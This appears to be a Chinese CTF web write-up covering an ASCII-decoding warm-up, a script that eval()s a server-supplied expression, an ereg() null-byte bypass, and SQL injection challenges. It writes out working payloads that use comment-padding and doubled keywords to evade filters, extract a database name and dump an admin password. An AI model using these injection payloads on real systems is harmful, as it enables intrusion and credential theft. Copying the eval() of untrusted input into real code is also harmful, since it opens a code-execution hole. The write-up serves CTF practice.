掘安网络安全ctf web(三秒内计算式子)
·
签到题
用脚本转ascii为字符串
#将列表转换Ascii为字符串
list=[102,108,97,103,58,102,108,97,103,95,105,115,95,118,101,114,121,95,101,97,115,121]
flag=''
for i in list:
k=chr(i)
flag+=k
print(flag)
三秒内计算式子

脚本
import requests
s=requests.Session()
url='http://gj.jasec.cn:8002/'
r=s.get(url)
res=r.content
a=res.find('<br/>')
b=res.find('=',a)
#找到我们要计算的式子的前后位置
num=res[a+5:b-17]
r=s.post(url,data={'result':eval(num)})
print(num)
print(r.content)

<p>jactf{7acfe4010bbe37096b6b51d4b29ee0b7}</p>
猜密码
这题原理简单,网页源代码提示,进入index.php.txt

ereg()函数截断漏洞
构造;
123%00#testaasafd
但这里要注意得用抓包提交,否则%和#会被url编码出不来flag

最后出flag:

曲折的人生
得到提示说提交的时候不用连验证码一起提交就有回显,大大减轻了解题的难度。
1、
admin'oR/**/1='1
爆出用户名:goodboy_g-60Hellow
goodboy_g-60Hellowor'/**/uniunionon/**/ selselectect/**/ database(),database(),database()#
爆出数据库:xiaowei

这里使用3个database()是不知道回显位的情况下,也能测出回显位是第二位
接下来类似的爆表名 列名:


最后将passwoed表里的密码爆出来,不要忘了password里的or双写
oodboy_g-60Hellowor'/**/uniunionon/**/ selselectect/**/ 1,passwoorrd ,3/**/from/**/admin#
password为 ajahas&&*44askldajaj

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)